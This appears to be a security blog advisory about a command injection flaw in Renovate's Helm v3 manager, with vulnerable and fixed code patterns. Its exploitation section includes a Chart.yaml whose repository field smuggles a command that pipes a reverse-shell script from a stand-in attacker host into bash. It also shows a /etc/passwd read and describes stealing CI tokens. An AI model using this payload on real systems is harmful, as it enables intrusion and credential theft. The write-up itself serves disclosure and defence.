Feb 19, 2026·5 min read·13 visits
Renovate blindly passes the `repository` field from `Chart.yaml` to a `helm registry login` shell command. An attacker with commit access to a monitored repository can inject shell metacharacters (like `;` or `&&`) to execute arbitrary code on the Renovate runner.
A moderate severity command injection vulnerability exists in Renovate's Helm v3 manager. By crafting a malicious `Chart.yaml` file with a manipulated `repository` field, an attacker can execute arbitrary shell commands on the system running Renovate. This affects versions `31.51.0` through `40.32.x`, turning a routine dependency update scan into a potential remote code execution event.
Renovate is the unsung hero of modern DevOps. It tirelessly scans your repositories, identifies outdated dependencies, and opens Pull Requests to keep you secure. It is effectively a robot with read/write access to your entire codebase and often runs with significant privileges in CI/CD pipelines to perform these tasks. But here is the catch: to do its job, Renovate must parse and interpret the configuration files it finds—files that are often controlled by developers, or in open-source contexts, potentially malicious contributors.
In this specific case, the vulnerability lies within the helmv3 manager. Helm, the package manager for Kubernetes, has moved towards OCI (Open Container Initiative) registries for storing charts. When Renovate encounters a Helm chart dependency pointing to an OCI registry, it attempts to be helpful by authenticating with that registry to check for updates. This helpfulness, implemented without sufficient paranoia, opens the door to a classic vulnerability class: OS Command Injection.
The flaw is conceptually simple but devastating. When Renovate parses a Chart.yaml file, it looks for dependencies. If a dependency specifies a repository URL, Renovate needs to interact with that repository. For OCI registries, the workflow involves logging in via the Helm CLI.
The logic flow looks roughly like this:
Chart.yaml.repository URL.helm registry login <repository> ....The fatal error here is assuming that the repository field in a YAML file is actually a URL. In reality, it is just a string. If the application takes this string and concatenates it directly into a shell command without sanitization or using an argument array, the shell will interpret any special characters included in that string. It is the programmatic equivalent of letting a stranger write part of your terminal commands.
While the exact source code snippet changes rapidly in active projects like Renovate, the mechanism of the flaw is classic. The vulnerable code effectively performed string interpolation for the system command.
The Vulnerable Pattern:
// Pseudo-code of the vulnerable logic
const cmd = `helm registry login ${repository} --username ${user} --password-stdin`;
await exec(cmd);If repository is valid, like oci://ghcr.io, the command runs fine. But if repository is oci://ghcr.io; cat /etc/passwd, the shell sees two commands:
helm registry login oci://ghcr.iocat /etc/passwd --username ...The Fix:
The patch in version 40.33.0 likely involves one of two standard mitigations: using execFile (or similar) where arguments are passed as an array (bypassing the shell interpreter entirely for arguments), or strictly validating that the repository string matches a safe URL pattern before usage.
// The secure pattern
const args = ['registry', 'login', repository, '--username', user, '--password-stdin'];
await execFile('helm', args);By separating the command from its arguments at the kernel execution level, the malicious string is treated as a single literal argument rather than executable instructions.
Exploiting this requires control over a repository that Renovate is configured to scan. This could be a legitimate developer going rogue, a compromised contributor account, or in a multi-tenant environment, a malicious customer adding a repo to the scan list.
Step 1: The Trap
The attacker creates a standard Helm chart but modifies the Chart.yaml file. Inside the dependencies list, they inject the payload.
apiVersion: v2
name: malicious-chart
version: 0.1.0
dependencies:
- name: innocent-dependency
# The Payload
repository: "oci://registry.example.com; curl -s http://attacker.com/revshell.sh | bash; #"
version: 1.0.0Step 2: The Trigger
The attacker commits this file to the repository. When Renovate's scheduler runs (or is triggered via webhook), it clones the repo and parses Chart.yaml. It identifies the dependency as an OCI target and attempts to authenticate.
Step 3: Execution
Renovate constructs the login command. The shell executes the login (which might fail or succeed, it doesn't matter), encounters the ; semicolon, and immediately proceeds to execute the curl command. The attacker now has a reverse shell on the Renovate runner.
Renovate runners are treasure troves. They are designed to interact with your version control systems (GitHub, GitLab, Bitbucket) and your package registries (npm, Docker Hub, Artifactory).
Credentials Exfiltration:
The most immediate risk is the theft of environment variables. GITHUB_TOKEN, GITLAB_TOKEN, NPM_TOKEN, and DOCKER_AUTH credentials are often present in the runner's environment. An attacker with shell access can simply run env and send the output to a remote server.
Supply Chain Poisoning: With the stolen credentials, the attacker can pivot. They can push malicious code to other repositories the bot has access to, effectively using the bot's identity to bypass branch protection rules (since bots are often whitelisted admins) and compromise the entire organization's software supply chain.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Renovate Mend | >= 31.51.0 < 40.33.0 | 40.33.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| Attack Vector | Local / Repository-Based |
| CVSS (Estimated) | 6.5 (Moderate) |
| Impact | Arbitrary Command Execution |
| Affected Component | helmv3 manager |
| Authentication | None (relies on repo access) |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.